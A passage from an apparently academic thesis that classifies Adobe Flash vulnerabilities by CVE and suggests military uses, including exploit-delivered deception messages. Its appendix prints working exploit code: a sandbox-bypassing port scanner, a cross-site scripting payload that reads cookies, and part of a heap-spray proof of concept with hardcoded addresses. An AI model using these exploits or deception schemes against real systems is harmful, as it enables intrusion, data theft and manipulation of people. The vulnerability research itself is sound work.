enables malicious attackers to inject client-side script into Web pages viewed by other 
users. An exploited cross-site scripting vulnerability can be used by attackers to bypass 
various access controls including the same origin policy, resulting in possible system 
subornment, data disclosure and modification, and system crashes.  
i.   Access Violation/Privilege Escalation 
This vulnerability occurs when a program attempts to access higher level 
data or files than it would normally have access to, based on the security level of the 
logged in user.  This most commonly results in data disclosure and data modification 
2. End Result 
There are four main areas that exploitation of a vulnerability can lead to:  Denial 
of Service, usually as a result of memory corruption, suborning of a target system, 
usually as a result of running arbitrary code, data disclosure, and finally data 
modification, which often includes data disclosure.  Many vulnerabilities can lead to 
multiple end results of exploitation.  Also, the standard Confidentiality/Integrity/ 
Availability security model provides a good framework to classify vulnerabilities. 
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a.   Denial of Service 
Denial of Service, for the purposes of this thesis, is defined as crashing the 
target application, Adobe Flash in this case, and can include, but does not require 
temporary corruption of the entire system. This corresponds to the Availability subset of 
the C/I/A model. 
b.   Suborning of Target System 
Subornation of the system is defined as taking control of the target system, 
at the privilege level of the user logged on at the time of system subornation.  This 
corresponds to the Integrity and Confidentiality subsets of the C/I/A model. 
c.   Data Disclosure 
Data disclosure is defined as the attacker being able to read (but not 
necessarily modify) data at privilege levels higher than that of the user logged on to the 
system at the time of the exploit.  This corresponds to the Confidentiality subset of the 
C/I/A model. 
d.   Data Modification 
Data modification is defined as the attacker being able to modify (but not 
necessarily read) data or write new data at privilege levels higher than that of the user 
logged on to the system at the time of the exploit.  This corresponds to the Integrity 
subset of the C/I/A model. 
3. Fixes/Patches/Protection 
This area is a moving target; that is, a vulnerability can (and should) move 
through the three stages of protection during its lifetime. 
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a.   Zero-Day 
A Zero-Day vulnerability is a previously undiscovered, or at least not 
widely known, vulnerability. In many cases, the specifics of the vulnerability may not be 
known, merely that a new vulnerability in the target program was discovered, and is 
being exploited through unknown means, with a specific end result.  At this point in the 
vulnerabilities lifecycle, the only protection mechanism is to completely disable the 
vulnerable program, but this can be referred to as the Scorched Earth technique of 
protection, for while it protects the vulnerable system from attack by that specific vector, 
it also, de facto, accomplishes a Denial of Service attack on that service.   
b.   Known, Un-Patched 
As more information and specifics about a particular vulnerability become 
known, a patch has not been developed or released to protect against the particular 
vulnerability. However work-arounds and protection measures can be employed, but 
these measures, such as disabling certain features of a program, or not allowing certain 
scripts within a program to be run, can resemble a Denial of Service attack, in that 
specific features of the program may not be able to be used. 
c.   Patched 
Full specifics of the vulnerability are known, and a patched version of the 
program has been released. This is the final step in the life-cycle of a vulnerability and it 
has been fully corrected and patched.  This should be the end state goal for all software 
companies once a vulnerability is known in a program. 
4. Summary 
The above elements of our vulnerability taxonomy are shown in Figure 7. 
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Figure 7.   Proposed Vulnerability Taxonomy 
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IV. SPECIFIC VULNERABILITY ASSESSMENTS 
A. INTRODUCTION 
This section will look at numerous vulnerabilities, and in some cases, exploits 
written to take advantage of those vulnerabilities, and attempt to classify each of the 
vulnerabilities via the proposed taxonomy.  Due to the nature of this paper, and use of 
unclassified, unrestricted sources, every vulnerability and exploit examined will fall in 
the known category, and the majority fall into the known and patched category. 
B. CVE-2010-1297 ZERO DAY ATTACK JUNE 2010 
July of 2010 saw a serious zero day attack on systems running Adobe Flash 
Version 10 or 9.  Previous versions were not vulnerable to this attack.  The attack allowed 
an attacker to execute arbitrary code. (CVE-2010-1297).  Adobe Flash Player of versions 
8.x and prior were not vulnerable to this exploit.  Patches were quickly issued to protect 
against this vulnerability, but it serves a good example of a zero day attack. 
1. Description 
Adobe Flash Player before 9.0.277.0 and 10.x before 10.1.53.64; Adobe 
AIR before 2.0.2.12610; and Adobe Reader and Acrobat 9.x before 9.3.3, 
and 8.x before 8.2.3 on Windows and Mac OS X, allow remote attackers 
to execute arbitrary code or cause a denial of service (memory corruption) 
via crafted swf content, related to authplay.dll and the ActionScript Virtual 
Machine 2 (AVM2) newfunction instruction, as exploited in the wild in 
June 2010. (CVE, 2010) 
One of the more interesting aspects of this exploit was that it was an only very 
slightly modified version of a normally harmless file. 
The exploit that is being used in the attacks against the latest zero-day 
vulnerability in Adobe Flash is a modified version of a harmless swf file 
that is only one byte different from the original file. Researchers have seen 
the exploit being used in active attacks against the vulnerability in Flash... 
(Fisher, 2010) 
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Metasploit describes the exploit as thus: 
This module exploits a vulnerability in the DoABC tag handling within 
versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat 
are also vulnerable, as are any other applications that may embed Flash 
player. Arbitrary code execution is achieved by embedding a specially 
crafted Flash movie into a PDF document. An AcroJS heap spray is used 
in order to ensure that the memory used by the invalid pointer issue is 
controlled. NOTE: This module uses a similar DEP bypass method to that 
used within the adobe_libtiff module. This method is unlikely to work 
across various Windows versions due a the hardcoded syscall number. 
(Metasploit.com, 2010) 
2. Coding an Exploit 
This exploit uses a heap-spray technique, which puts a sequence of bytes at a 
predetermined location in the target process, by allocating many large blocks on the 
process heap.  The memory location of the heap is generally in the same approximate 
location every time the heap spray is run.  A full analysis of one way to exploit this 
vulnerability is available at the Zynamics blog (blog.zynamics.com), a security blog run 
by the Zynamics security firm. The malformed .swf file at the heart of this exploit only 
contains one difference;  the original, non-malicious file has the following line 210: 
00210) + 4:1 getproperty <q>[public]::BOTTOM</q> 
while the malicious file has the following line, in the same location: 
00210) + 4:1 newfunction [method 000001ba ] 
The only difference can be found in line 210. While the benign Flash file 
tries to access the property BOTTOM, the malicious Flash file tries to 
create a new function object. This simple change messes up the internal 
ActionScript stack (as can be seen in the differing stack depth numbers 
after the +) because getproperty and newfunction have different effects on 
the ActionScript stack. Subsequent ActionScript instructions then assume 
a stack layout which is simply wrong. Nevertheless, the JIT compiler 
seems to accept this code and generates x86 code for it. The consequence 
of this change seems to be that preconditions for JIT-compiled code that 
were previously true do not hold anymore and the attacker can control the 
control flow as seen above. (Prost, 2010) 
There are other ways to exploit this vulnerability, but they all use similar methods. 
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3.  Patches/Fixes 
This vulnerability is easily fixed by patching Adobe Flash to Version 10.1 or 
higher.  In addition, the majority of security programs now recognize the signature of this 
attack. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as follows:  it is a memory corruption technique; 
denial of service and/or suborn end result; and known/patched protection status  
C. CVE-2007-0071 MAY 2008 
This vulnerability was originally discovered in 2007 but continues to be exploited 
to this day.  In addition, extensive analysis has been done on how to exploit this 
vulnerability, making it useful to review for the purposes of this paper. 
1. Description 
This attack originally appeared to be a zero-day attack/exploit, as reported on 
numerous IT security blogs, similar to this report about this attack: 
...and the latest one exploiting a zero day in Adobe's flash player is 
definitely worth assessing. The current malware attack has been traced 
back to Chinese blackhats, who are using a zero day to infect users with 
password stealers, moreover, one of the domains serving the Adobe zero 
day has been sharing the same IP with four of the malware domains in the 
recent waves of massive SQL injection attacks, indicating this incident 
and the previous ones are connected. (Danchev, 2008) 
However, later reports showed that this was not a zero-day attack,, but instead 
exploited a previously known and patched vulnerability reported in CVE-2007-0071.  
This attack was conducted as follows: 
Integer overflow in Adobe Flash Player 9.0.115.0 and earlier, and 8.0.39.0 
and earlier, allows remote attackers to execute arbitrary code via a crafted 
swf file with a negative Scene Count value, which passes a signed 
comparison, is used as an offset of a NULL pointer, and triggers a buffer 
overflow. (CVE, 2007)  
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This vulnerability was studied extensively in a paper by the Dowd, of the IBM X-
Corps, and summarized as follows. 
At first the vulnerability seemed to offer limited exploitation options, but 
further analysis uncovered an application-specific attack that results in 
reliable, consistent exploitation. Achieving the same exploitation with 
more conventional methods is unlikely. The technique presented leverages 
functionality provided by the ActionScript Virtual Machine – an integral 
part of Adobe Flash Player. Further, it will be shown that the vulnerability 
can be successfully exploited without leaving telltale signs, such as a 
browser crash following the attack. (Dowd, 2008) 
2. Coding an Exploit 
The vulnerability is exploited by writing data to an arbitrary offset from address 
0x00000000 via a NULL-pointer dereference.  The specific vulnerability occurs when the 
“DefineSceneAndFrameLabelData” tag is referenced.  This tag is a variable length tag, 
with the scene count integer first, followed by a number of records.  The function that 
reads in this data reads in the scene count value, validates it, and then allocates a structure 
to read in the scene records.  Because of the structure of the data, and the types of data 
used, a negative scene count value can be passed in, which means the allocation will fail, 
but not register as failing.  Later, a call to that allocated structure will result in memory 
corruption, and execution of code the attacker supplies (shell code, or some other 
malicious code). 
3.  Patches/Fixes 
As with the majority of known exploits, patching Flash results in removing the 
vulnerability, as well as most security programs having the signature of the exploit easily 
available.  In addition, limiting Flash access to a computer, via such things as browser 
add-ons that only allow whitelisted Websites, or disallow blacklisted Web sites to serve 
.swf files will prevent attacks such as this from succeeding. 
 35
4. Taxonomy of the Vulnerability 
This vulnerability is classified as an input validation technique, data retrieval/ 
modification end result, with a known/patched protection status. 
D. CVE-2009-3799 DEC 2009 
This vulnerability is interesting because the specific vulnerability is exploited 
through a malformed swf file and is cross system;  that is, it applies to versions of Flash 
Player and AIR running on Windows, MAC OS/X and Linux.  . 
1. Description 
The technical definition of the vulnerability from CVE is as follows: Integer 
overflow in the Verifier::parseExceptionHandlers function in Adobe Flash allows remote 
attackers to execute arbitrary code via a .swf file with a large exception_count value that 
triggers memory corruption, related to "generation of ActionScript exception handlers." 
2. Coding an Exploit 
This is a simple exploit; coded by creating a malicious .swf file with a large 
exception_count value. 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as an input validation technique, system suborn end 
result, with a known/patched protection status  
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E. CVE-2009-1870 JULY 2009 
This vulnerability is different from the previously listed ones in that it does not 
allow an attacker to execute malicious code, but it does allow access to sensitive system 
information, and thus is a candidate for CNE activities. 
1. Description 
A vulnerability in Adobe Flash Player allows attackers to obtain sensitive 
information via vectors involving saving an .swf file to a hard drive, related to a local 
sandbox vulnerability. A remote attacker could trick a user into clicking a button on a 
dialog by supplying a specially crafted .swf file and disclose sensitive information by 
exploiting a sandbox issue. 
2. Coding an Exploit 
The specially crafted .swf file takes advantage of Flash Players failure to securely 
implement restricted sandboxes for .swf files, allowing access to other files, and resulting 
in information disclosure. 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as an access violation technique, data disclosure 
end result, with a known/patched protection status  
F. CVE-2009-1868 JULY 2009 
This vulnerability is interesting as it involves URL parsing and allows the 
execution of arbitrary code. 
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1. Description 
URL passed heap-based buffer overflow in Adobe Flash Player allows attackers 
to execute arbitrary code with the privileges of the current user. To exploit this 
vulnerability, a targeted user must load a malicious Web page created by an attacker. An 
attacker typically accomplishes this via social engineering techniques or injecting content 
into compromised, trusted sites. 
2. Coding an Exploit 
When a specifically crafted URL is passed to Flash Player, a heap overflow can 
occur and could result in arbitrary code execution. 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as a buffer overflow technique, system suborn end 
result, with a known/patched protection status  
G. CVE-2007-6244 
This is an earlier vulnerability, but it has been studied extensively, along with 
sample exploitation code written, so it is useful to study this vulnerability. 
1. Description 
Multiple cross-site scripting (XSS) vulnerabilities in Adobe Flash Player allow 
remote attackers to inject arbitrary Web script or HTML via (1) a swf file that uses the 
asfunction: protocol or (2) the navigateToURL function when used with the Flash Player 
ActiveX Control in Internet Explorer. 
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This vulnerability allows remote attackers to run arbitrary JavaScript code in the 
security context of other domains, resulting in information disclosure and session 
hijacking. User interaction is required to exploit this vulnerability in that the target must 
visit a malicious page or open a malicious file. 
2. Coding an Exploit 
The specific flaw exists in the Flash Player ActiveX Control's handling of the 
navigateToURL API, which takes two arguments, a URL and the name of the frame to be 
navigated. The swf movie can pass in a javascript: URI and the name of a frame on some 
other domain.  One specific code example is show in the appendix. 
As seen in the code listed in the appendix, the code in the URI executes in the 
security context of the named frame, rather than the security context of the swf movie or 
the page that embeds it. 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as a cross-site scripting technique, data 
modification/disclosure end result, with a known/patched protection status  
H. CVE-2010-2212 JULY 2010 
This vulnerability is of note because it is not through a malicious .swf file, but 
through Adobe Acrobat Reader.  However, the .pdf file must contain specially crafted 




A buffer overflow in Adobe Reader and Acrobat  on Windows and Mac OS X, 
allows attackers to execute arbitrary code via a PDF file containing maliciously crafted 
Flash content  
2. Coding an Exploit 
This vulnerability is exploited by specially crafting the Flash content within a 
PDF file, using a 1023 tag that has been crafted to cause a buffer overflow, which 
cascades and allows arbitrary code within the PDF file to be run by the attacker. 
3.  Patches/Fixes 
This vulnerability, while classified as a vulnerability in Adobe Flash Player, is 
corrected by updating Adobe Acrobat/Acrobat Reader 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as a buffer overflow technique, system subornment 
end result, with a known/patched protection status  
I. CVE-2007-4324 
This is an earlier vulnerability, but of note because the result is not execution of 
arbitrary code, but rather it allows the attacker to use the victim machine to port scan 
arbitrary hosts, possibly as part of a DDoS network. 
1. Description 
ActionScript 3 (AS3) in Adobe Flash allows remote attackers to bypass the 
Security Sandbox Model, obtain sensitive information, and port scan arbitrary hosts 
specially crafted .swf file that specifies a connection to make, then uses timing 
discrepancies from the SecurityErrorEvent error to determine whether a port is open or 
not.  
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2. Coding an Exploit 
See the appendix for a full listing of sample code developed to exploit this 
vulnerability. 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version.  In addition, a workaround is possible by adding a specific line 
(DisableSockets=1) to the mms.cfg file, which disallows Flash form opening new 
sockets.  
4. Taxonomy of the Vulnerability 
This vulnerability is classified as an access violation technique, system suborn 
and data disclosure end result, with a known/patched protection status  
J. CVE-2008-1201 
Another earlier vulnerability, but of importance because it targets the Flash 
authoring tool, albeit an earlier version, Adobe Flash Professional CS3, via a specially 
crafted .fla file, the un-compiled source code used to create .swf files. 
1. Description 
Multiple vulnerabilities in .fla file parsing in Adobe Flash CS3 Professional on 
Windows allow user-assisted remote attackers to execute arbitrary code via a crafted .fla 
file.  This is not an attack that can be successfully completed solely by a remote attacker;  
the user must be convinced to open an .fla file, which are not commonly found files. 
2. Coding an Exploit 
This vulnerability is exploited by changing the value of some special addresses in 
a .fla file, resulting in unexpected errors at the call instruction.  This can lead to the 
attacker controlling a memory pointer and allowing arbitrary code execution. 
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3.  Patches/Fixes 
This vulnerability was not corrected in Flash CS3 Professional.  However, later 
versions of the software, Flash CS4 professional and Flash CS5 Professional have 
corrected this vulnerability. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as a pointer control technique, system subornment 
end result, with a known/un-patched protection status  
K. CVE-2009-1869 
This is a vulnerability in the ActionScript Virtual Machine portion of Flash 
Player, and a valid proof of concept was written by a security researcher at IBM, 
allowing a more detailed investigation of this vulnerability. 
1. Description 
Integer overflow in the ActionScript Virtual Machine 2 (AVM2) abcFile parser in 
Adobe Flash Player allows attackers to execute arbitrary code via an AVM2 file with a 
large intrf_count value that triggers a dereference of an out-of-bounds pointer.  A more 
specific description of the vulnerability is given as follows: 
An integer overflow exists in the AVM2 abcFile parser code which 
handles the intrf_count value of the instance_info structure...When 
intrf_count is larger than 0x10000000, it is nullified due to an integer 
overflow. This results in an out of bounds pointer dereference. The out of 
bounds object contains arbitrary values (in the context of the code which 
handles the interfaces count element) which are manipulated in a way so 
that an arbitrary memory overwrite with an attacker supplied destination 
and value is possible. (Hay, Advisory: Adobe Flash Player and AIR 
AVM2 intf_count Integer Overflow, 2009) 
2. Coding an Exploit 
One specific technique to exploit this vulnerability was demonstrated by an IBM 
security researcher, Roee Hay.  The technique is as follows: 
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1.  Spray the heap in order to achieve the following: 
         1. The aforementioned path conditions would pass. 
         2. A DWORD memory overwrite with user controlled target and 
value would take place when the vulnerability is triggered. 
         3. Allocate a placeholder for the shellcode. The target of the memory 
overwrite would be some function pointer, the value would be the location 
of the shellcode’s placeholder. 
   2. Trigger the vulnerability. 
   3. Free the placeholder of the shellcode. 
   4. Allocate the shellcode by spraying the heap. 
   5. Trigger some function which calls the function pointer. (Hay, 
Exploitation of CVE-2009-1869, 2009) 
3.  Patches/Fixes 
As with the majority of the vulnerabilities in this paper, it is fixed by patching 
Flash to the latest version. 
4. Taxonomy of the Vulnerability 
This vulnerability is classified as a buffer overflow technique, system subornment 
end result, with a known/patched protection status  
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V. SURVEY OF VULNERABILITIES 
A. METHODS 
A statistical summary of the known vulnerabilities in Adobe Flash is useful in 
determining which areas are most vulnerable, in addition to determining whether 
continued usage of Adobe Flash is justified, based on the possible results of exploiting 
these vulnerabilities.   
1. Common Vulnerabilities and Exposures Database 
A survey of the Common Vulnerabilities and Exposures List 
(http://cve.mitre.org/), a repository of known, publicized vulnerabilities in software, 
database was done, searching for vulnerabilities associated with Adobe Flash, and its 
derivatives.  This includes vulnerabilities in related programs, such as the Flash CS5 
Professional developer, and in earlier versions of Adobe Flash, to include versions 
produced under the Macromedia Flash banner. Dating from 2006, when Flash was 
acquired by Adobe, and branded as Adobe Flash, there are 120 distinct vulnerabilities 
listed as known for Adobe Flash.  When the published vulnerabilities for earlier versions 
are included, there are 137 distinct vulnerabilities.  
2. Parsing Methodology 
The CVE database was searched for vulnerabilities in Adobe Flash, ranging back 
to 2001.  This includes vulnerabilities in related programs, such as the Flash CS5 
Professional developer, and in earlier versions of Adobe Flash, to include versions 
produced under the Macromedia Flash banner.  Each vulnerability was further 
investigated to determine how to categorize the specific vulnerability in the previously 
determined vulnerability taxonomy.  Of necessity, all vulnerabilities fell into the known, 
patched category, as the CVE database only publicizes vulnerabilities once they are 
patched via the associated software publisher.  A study of restricted databases would lead 
to a greater number of vulnerabilities, and include many more vulnerabilities that are 
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known, but un-patched, due to the limited disclosure of those vulnerabilities.  There were 
no vulnerabilities that were not able to be categorized into a specific type. 
B. RESULTS 
The results showed significant trends in vulnerabilities and the results of exploited 
vulnerabilities for each year.  One note to remember is that these are the disclosed, 
publicly available vulnerabilities, and do not necessarily represent the vulnerabilities that 
were actually exploited. 
1. Vulnerability Types 
As can be seen from Figure 8, memory corruption was the number one 
vulnerability for most years, except for 2008, when input validation was the vulnerability 
with the highest occurrence.  Input validation overall was the second highest occurring 
vulnerability in Adobe Flash, with the rest of the vulnerabilities spread across the 
spectrum.  The current trend in vulnerabilities in Adobe Flash shows that memory 
corruption is the most vulnerable area of the program.  Numerous protective measures 
can be taken to mitigate this type of vulnerability, and from a CND point of view, this is 
very useful.  From a CNA/CNE point of view, this suggests that vulnerability research 
should be focused on looking for more possible means of memory corruption. 
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Figure 8.   Vulnerability Statistics 
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2. Exploit Results 
Figure 9 shows the possible results that can occur from the exploited 
vulnerabilities.  Again, these are not the actual statistics of what results occurred from 
exploited vulnerabilities in Adobe Flash, but instead, the possible results from exploited 
vulnerabilities.  As can be seen in Figure 9, system subornment is the most common 
result, followed closely by denial of service.  The key point is that most vulnerabilities 
will result in a system that is compromised, either by non-ability to continue being used, 
or worse, by being suborned, and in turn being used to launch attacks on other systems in 
the network, or other malicious uses.  
 
Figure 9.   Exploit Results 
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VI. RECOMMENDATION AND CONCLUSIONS 
A. INTRODUCTION 
Adobe Flash, and related software (Adobe Acrobat, Acrobat Reader, Internet 
Explorer, FireFox, Chrome, and other Web browsers) that uses embedded or plug-in 
versions of Flash, are vulnerable to attacks, even when fully patched, as evidenced by the 
numerous zero day attacks.  Some of these zero day attacks may be known in closed 
circles but not available to the general public. Other possible zero day attacks are, by 
definition, unknown, and normal means of signature based defenses against them are 
ineffective. 
1. Use of This Taxonomy for CND 
The main means in which this taxonomy should be used in Computer Network 
Defense is to show which areas are vulnerable, and how to secure those vulnerable areas.  
Further, more research can be done to determine additional flaws and vulnerabilities, 
based on the existence of other flaws and vulnerabilities.  If the majority of 
vulnerabilities are classified as memory corruption vulnerabilities, this tends to show that 
further vulnerabilities would be in the area of memory corruption and protection efforts, 
and research into further vulnerabilities would best be focused in these areas  This can be 
leveraged to help determine what unknown/zero-day vulnerabilities may exist, and rather 
than waiting for the software designer to patch these vulnerabilities (Adobe in this case), 
proactive protective measures can be taken to better protect vulnerable systems.   This is 
not specific to this vulnerability taxonomy, and any taxonomy or vulnerability assessment 
should be able to provide a similar function in helping protect a network, whether 
focused on individual software programs, or when viewing a system as a whole. 
2. Use of This Taxonomy for CNA/CNE 
This taxonomy provides a valuable tool in determining potential avenues of 
attack, given a specific intended effect.  With the proper classification of vulnerabilities, 
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exploits can be designed to utilize the most common flaws in Adobe Flash, or any other 
program or set of programs in which the common vulnerabilities are categorized.  
Further, research into exploits can be directed at the areas in which the majority of 
vulnerabilities exist, leading to better return on research investment. 
B. DOD USE OF THIS ASSESSMENT IN DECEPTION OPERATIONS 
Tailored psychological operations can be conducted after exploiting the 
vulnerabilities that exist in Adobe Flash and leveraging the existence of Flash on the 
targeted systems to deliver the tailored message.  Possible scenarios could include a 
natural disaster announcement requiring everyone to evacuate the target building, an 
announcement telling the adversary/target that their computer networks were now 
compromised in order to instill fear and decrease morale, a similar announcement 
ordering the target to lay down their weapons, and surrender, similar to leaflet drops in 
the beginning stages of Operation Iraqi Freedom,  a disguised psychological message 
claiming to be from the targets commander ordering surrender, etc.  The possibilities, 
when the audio and video capabilities of Adobe Flash are considered, are endless, and 
should be able to be easily exploited on any network connected to the wider Internet and 
running some version of Adobe Flash. 
C. DOD DEFENSE AGAINST SIMILAR ATTACKS 
Given the inherent vulnerabilities in Adobe Flash, it is apparent that on any 
computer deemed to be both mission-critical and connected to the Internet, Adobe Flash 
should be disabled, and/or blocked.  One comment:  it is the opinion of some security 
professionals that mission critical systems should never be connected directly to the 
Internet; however, many of the logistical and support planning systems in use by the U.S. 
military and the DoD are by virtue of being run through the NIPRnet, thus connected to 
the Internet.  Unfortunately, because many of the systems that are in use in both mission 
critical and non mission-critical computers rely on the features Adobe Flash provides and 
is linked to (such as Adobe Acrobat for PDF files and other such examples), this is not  
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always an option.  Therefore, using this taxonomy of vulnerabilities, or some similar 
assessment, it should be possible to determine what level of security for each network is 
required.  
D. CONCLUSION 
The means of attacking computer networks are endless, and signature-based 
protection, while valuable, is only useful against known attacks.  Thus, a means of 
categorizing vulnerabilities can be lead to developing better defenses and mitigation 
against unknown and zero-day attacks, and simultaneously, can help focus vulnerability 
research to look for similar vulnerabilities.  The end result of these attacks can be tailored 
to produce effects outside of the computer network by looking to the cognitive behavior, 
and using specific tools to produce the desired cognitive thinking, with the end result 
being the target taking actions that are beneficial to the friendly force. 
 50
THIS PAGE INTENTIONALLY LEFT BLANK 
 51
APPENDIX.  LISTING OF COMPUTER CODE  




 * Flash 9 AS3 TCP-Portprober 
 * 
 * this Actionscript Application was created to detect if a given TCP Port on a given host 
is reachable or not from the host the swf is running on 
 * 
 * this application is totally bypassing the flash player security sandbox model / it 
actually uses the security model to probe a port 
 * 
 * the application is based on a timing problem in the SecurityErrorEvent that Adobe 
introduced with AS3 
 * 
 * the swf currently needs to be reloaded for every port because the SecurityPolicy state 
is cached in the player 
 * javascript is used to implement the actual portscanner 
 * 
 * the application will report closed ports for services that understand the "<policy-file-
request/>"-XML this is a extremely rare case 
 * 
 * @author David Neu <david.neu@gmail.com> 
 * @thx fukami, SektionEins GmbH - Web Security Auditing and Software 
(http://www.sektioneins.de/) 
 * @usage embed in an html page and add the parameters host and port 
 * the application will check if the port is reachable from the host the swf runs on and 
then calls the javascript function "reportResult" with the port number and the ports state 
(true or false) 
 * @see http://scan.flashsec.org 
 * @see https://www.flashsec.org 
 * @see http://livedocs.adobe.com/flex/2/langref/flash/net/XMLSocket.html 




 import flash.display.Sprite; 
 import flash.external.ExternalInterface; 
 import flash.net.Socket; 
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 import flash.text.TextField; 
 import flash.utils.Timer; 
 import flash.events.Event; 
 import flash.events.SecurityErrorEvent; 
 import flash.events.IOErrorEvent; 
 import flash.events.TimerEvent; 
 import flash.system.fscommand; 
  
 public class Main extends flash.display.Sprite 
 { 
  // textField for status viewing 
  protected var tf:TextField; 
   
  // the socket that (tries) connects 
  protected var socket:Socket; 
   
  // timer for detecting not answering policy-requests 
  protected var timer:Timer; 
   
  // the host to probe 
  protected var host:String; 
   
  // the port to probe 
  protected var port:Number; 
   
  // Main Entry Point 
  public function Main():void 
  { 
   // setup status textfield 
   tf = new TextField(); 
   tf.width = 600; 
   tf.height = 300; 
    
   // get port from parameters 
   port = parseInt(this.loaderInfo.parameters['port']); 
   if (isNaN(port)) { 
    port = 80; 
   } 
    
   // get host from parameters 
   host = this.loaderInfo.parameters['host']; 
   if (host == null) { 
    host = '127.0.0.1'; 
   } 
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   addChild(tf); 
    
   // setup the timer 
   // if a port is closed an the flash plugin is not able to write the "<policy-file-request/>"-
XML to the socket it will immediately fire an SecurityErrorEvent. If the 
SecurityErrorEvent is not fired within 2 seconds we assume that flash was able to write 
the xml to the socket an is waiting for a reply -> the port is open. The timer can be 
reduced a lot to make scanning even faster. 
   timer = new Timer(2000, 1); 
   timer.addEventListener(TimerEvent.TIMER, onTimer); 
   //tf.appendText('interface: '+ExternalInterface.available); 
   //ExternalInterface.call('alert', 'test'); 
   probe(); 
  } 
   
  protected function probe():void 
  { 
   // show some info text 
   tf.appendText('probe host: '+host+' port: '+port); 
    
   // setup socket an event listeners 
   socket = new Socket(); 
    
   // listen to the badly implemented security error 
   socket.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSecurityError); 
    
   // listen to sucessfull connects (should in fact never happen) 
   socket.addEventListener(Event.CONNECT, onConnect); 
    
   // listen to IO Errors that will also never occur 
   socket.addEventListener(IOErrorEvent.IO_ERROR, onIOError); 
    
    
   timer.reset(); 
   timer.start(); 
    
   // try to connect 
   socket.connect(host, port); 
  } 
   
  /** 
   * Called when the SecurityErrorEvent is Fired 
   * when there is an SecurityErrorEvent before the timeout we assume the port is closed 
   * 
   * @param e SecurityErrorEvent 
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   * @return void 
   */ 
  protected function onSecurityError(e:SecurityErrorEvent):void 
  { 
   portClosed(); 
  } 
   
  /** 
   * Called when the Connect event is fired 
   * when we can conect to a port it is definitely open 
   * should only happen in very rare cases 
   * 
   * @param e Event 
   * @return void 
   */ 
  protected function onConnect(e:Event):void 
  { 
   portOpen(); 
  } 
   
  /** 
   * when we get an IO Error the port is closed 
   * as the connect event this will only happen in very rare cases 
   * 
   * @param e 
   * @return 
   */ 
  protected function onIOError(e:Event):void 
  { 
   portClosed(); 
  } 
   
  /** 
   * when the flash plugin has waited too long for the reply to the Policy Request the 
Timer is fired 
   * assume the port is open as flash was able to write the policy request to it 
   * 
   * @param e TimerEvent 
   * @return void 
   */ 
  protected function onTimer(e:TimerEvent):void 
  { 
   portOpen(); 
  } 
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  /** 
   * show that the port is open and report to the html-Page 
   * 
   * @return void 
   */ 
  protected function portOpen():void 
  { 
   tf.appendText('\nOPEN'); 
   ExternalInterface.call('reportResult', port, "true"); 
  } 
   
  /** 
   * show that the port is closed and report to the html page 
   * @return void 
   */ 
  protected function portClosed():void 
  { 
   tf.appendText('\nCLOSED'); 
   timer.reset(); 
   ExternalInterface.call('reportResult', port, "false"); 





  import flash.display.Sprite; 
  import flash.net.*; 
  import flash.utils.*; 
 
  public class uxssdemo extends Sprite { 
    public function uxssdemo() { 
      setTimeout(DoAttack, 1000); 
    } 
 
    public function DoAttack():void { 
      var request:URLRequest = 
          new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: 
\\n\\n" + document.lastChild.innerHTML);window.close();'); 
      navigateToURL(request, 'tg'); 
    } 






    All these vulnerabilities are due to the parser does not handle 
the malformed FLA file accurately, by changing value of some special 
addresses in normal FLA file, it can result in some unexpected errors 











iopl=0         nv up ei pl nz na pe nc 
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00250206 
 *** ERROR: Symbol file could not be found.  Defaulted to export 
symbols for Flash-unprepped.exe - 
 Flash_unprepped!std::basic_istream<char,std::char_traits<char> 
>::basic_istream<char,std::char_traits<char> >+0x3d7762: 
 00943502 8b01            mov     eax,dword ptr 
[ecx] ds:0023:41414141=????????, can be controlled 
 00943504 8b10            mov     edx,dword ptr [eax] 
 00943506 6a01            push    1 
 00943508 ffd2            call    edx    ; code executing is 
possible 
 0094350a 8bbe48020000    mov     edi,dword ptr [esi+248h] 
 00943510 3bfb            cmp     edi,ebx 
 00943512 899ef4010000    mov     dword ptr [esi+1F4h],ebx 
 00943518 7410            je 
Flash_unprepped!std::basic_istream<char,std::char_traits<char> 
>::basic_istream<char,std::char_traits<char> >+0x3d778a (0094352a) 
 
 
    It is confirmed that at least one of them can be written 
successful working exploits for, on the other hand, because the FLA 
file can not be loaded remotely, which can reduce the threat of these 
vulnerabilities. 
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D.   CVE-2009-1869 
// PoC for CVE-2009-1869, for educational purposes only 
// Created by Roee Hay - roeehay@gmail.com 
 
package  { 
        import flash.display.*; 
        import flash.text.TextField; 
        import flash.utils.ByteArray; 
        import flash.events.*; 
        import flash.utils.Timer; 
        import flash.net.*; 
        import flash.external.ExternalInterface; 
        import flash.utils.Endian; 
        import flash.ui.ContextMenu; 
        
        public class Exploit extends MovieClip { 
                
                                
                private function log(txt) 
                { 
                        text1.appendText(txt + "\n"); 
                } 
 
                public function exploit(evt:Event):void { 
                        state1_alloc_memory_overwrite(); 
                } 
                
                public function state1_alloc_memory_overwrite():void { 
                        var val:ByteArray = new ByteArray(); 
                        val.endian = Endian.LITTLE_ENDIAN; 
                        
                        val.writeMultiByte("aaaaaaaaaaaaaaaaa", "us-ascii"); 
 
//                      val.writeInt(0x103874ec); // mouse context menu callback fptr 
                        val.writeInt(0x10381160); // LoadVars.sendAndLoad callback fptr 
                        val.writeInt(0x20450157); // shellcode placeholder address 
                        val.writeMultiByte("aaaaaa\x01aaaaaaaaaaaaaaaa", "us-ascii"); 
                        for (var i=0; i<4; i++) 
